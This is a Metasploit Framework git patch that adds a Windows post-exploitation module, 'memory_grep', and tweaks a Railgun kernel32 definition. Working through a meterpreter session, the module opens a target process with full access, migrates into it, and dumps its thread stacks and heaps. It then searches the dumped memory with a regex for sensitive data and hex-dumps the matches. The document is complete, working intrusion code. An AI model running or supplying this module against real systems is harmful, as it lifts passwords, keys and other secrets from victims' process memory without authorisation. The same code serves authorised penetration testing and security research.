From b877d3c63965c36dadef151615ffd76faa2b791f Mon Sep 17 00:00:00 2001 From: David Rude Date: Tue, 19 Jul 2011 17:06:26 +0000 Subject: [PATCH] Added memory_grep post module and updated the GetProcessHeaps definition in railgun git-svn-id: file:///home/svn/framework3/trunk@13225 4d416f70-5f16-0410-b530-b9f4589650da --- .../stdapi/railgun/def/def_kernel32.rb | 2 +- modules/post/windows/gather/memory_grep.rb | 184 ++++++++++++++++++ 2 files changed, 185 insertions(+), 1 deletion(-) create mode 100644 modules/post/windows/gather/memory_grep.rb diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb index c5651d9871..534763e1b9 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb @@ -1593,7 +1593,7 @@ class Def_kernel32 dll.add_function( 'GetProcessHeaps', 'DWORD',[ ["DWORD","NumberOfHeaps","in"], - ["PDWORD","ProcessHeaps","out"], + ["PBLOB","ProcessHeaps","out"], ]) dll.add_function( 'GetProcessId', 'DWORD',[ diff --git a/modules/post/windows/gather/memory_grep.rb b/modules/post/windows/gather/memory_grep.rb new file mode 100644 index 0000000000..729c67cf9b --- /dev/null +++ b/modules/post/windows/gather/memory_grep.rb @@ -0,0 +1,184 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize(info={}) + super( update_info(info, + 'Name' => 'Windows Gather Process Memory Grep', + 'Description' => %q{ + This module allows for searching the memory space of a proccess for potentially sensitive + data. + }, + 'License' => MSF_LICENSE, + 'Author' => ['bannedit'], + 'Version' => '$Revision$', + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter' ] + )) + register_options( + [ + OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]), + OptString.new('REGEX', [true, 'Regular expression to search for with in memory', nil]), + OptBool.new('VERBOSE', [false, 'Be verbose?', false]), + + ], self.class) + end + + def run + if session.type != "meterpreter" + print_error "Only meterpreter sessions are supported by this post module" + return + end + + print_status("Running module against #{sysinfo['Computer']}") + target_pid = nil + stack = [] + name = datastore['PROCESS'] + regex = Regexp.new(datastore['REGEX']) + target_pid = client.sys.process[name] + + print_status("Found #{datastore['PROCESS']} running as pid: #{target_pid}") + + if not target_pid + print_error("Could not access the target process") + return + end + + process = session.sys.process.open(target_pid, PROCESS_ALL_ACCESS) + begin + print_status("Walking process threads...") + threads = process.thread.each_thread do |tid| + thread = process.thread.open(tid) + esp = thread.query_regs['esp'] + addr = process.memory.query(esp) + if datastore['VERBOSE'] + print_status("Found Thread TID: #{tid}\tBaseAddress: 0x%08x\t\tRegionSize: %d bytes" % [addr['BaseAddress'], addr['RegionSize']]) + end + data = process.memory.read(addr['BaseAddress'], addr['RegionSize']) + stack << { + 'Address' => addr['BaseAddress'], + 'Size' => addr['RegionSize'], + 'Handle' => thread.handle, + 'Data' => data + } + end + rescue + end + + # we need to be inside the process to walk the heap using railgun + current = session.sys.process.getpid + if target_pid != current + print_status("Migrating into #{target_pid} to allow for dumping heap data") + session.core.migrate(target_pid) + end + + heap = [] + railgun = railgun_setup + heap_cnt = railgun.kernel32.GetProcessHeaps(nil, nil)['return'] + dheap = railgun.kernel32.GetProcessHeap()['return'] + print_status("Default Process Heap: 0x%08x" % dheap) if datastore['VERBOSE'] + ret = railgun.kernel32.GetProcessHeaps(heap_cnt, heap_cnt * 4) + pheaps = ret['ProcessHeaps'] + + idx = 0 + handles = [] + while idx != pheaps.length + print_status("Found Heap: 0x%08x" % pheaps[idx, 4].unpack('V')[0]) if datastore['VERBOSE'] + handles << pheaps[idx, 4].unpack('V')[0] + idx += 4 + end + + print_status("Walking the heap... this could take some time") + begin + heap = [] + handles.each do |handle| + lpentry = "\x00" * 42 + while (ret = railgun.kernel32.HeapWalk(handle, lpentry)) and ret['return'] + #print ret.inspect + entry = ret['lpEntry'][0, 4].unpack('V')[0] + size = ret['lpEntry'][4, 4].unpack('V')[0] + data = process.memory.read(entry, size) + + print_status("Walking Entry: 0x%08x\t Size: %d" % [entry, size]) if datastore['VERBOSE'] + heap << {'Address' => entry, 'Size' => size, 'Handle' => handle, 'Data' => data} + lpentry = ret['lpEntry'] + end + end + rescue + end + + matches = [] + stack.each do |mem| + idx = mem['Data'].index(regex) + + if idx != nil + print_status("Match found...\n" + hex_dump(mem['Data'][idx, 512], mem['Address']+idx)) + end + end + + heap.each do |mem| + idx = mem['Data'].index(regex) + + if idx != nil + print_status("Match found...\n" + hex_dump(mem['Data'][idx, 512], mem['Address']+idx)) + end + end + end + + def railgun_setup + rg = session.railgun + + if (!rg.get_dll('kernel32')) # should never happen + rg.add_dll('kernel32') + end + return rg + end + + def hex_dump(str, base = 0, width = 16) + buf = '' + idx = 0 + cnt = 0 + snl = false + lst = 0 + + while (idx < str.length) + + chunk = str[idx, width] + addr = "0x%08x:\t" % (base + idx) + line = chunk.unpack("H*")[0].scan(/../).join(" ") + buf << addr + line # add the index to the beginning of the line (base + idx) + + if (lst == 0) + lst = line.length + buf << " " * 4 + else + buf << " " * ((lst - line.length) + 4).abs + end + + chunk.unpack("C*").each do |c| + if (c > 0x1f and c < 0x7f) + buf << c.chr + else + buf << "." + end + end + + buf << "\n" + idx += width + end + buf << "\n" + end +end \ No newline at end of file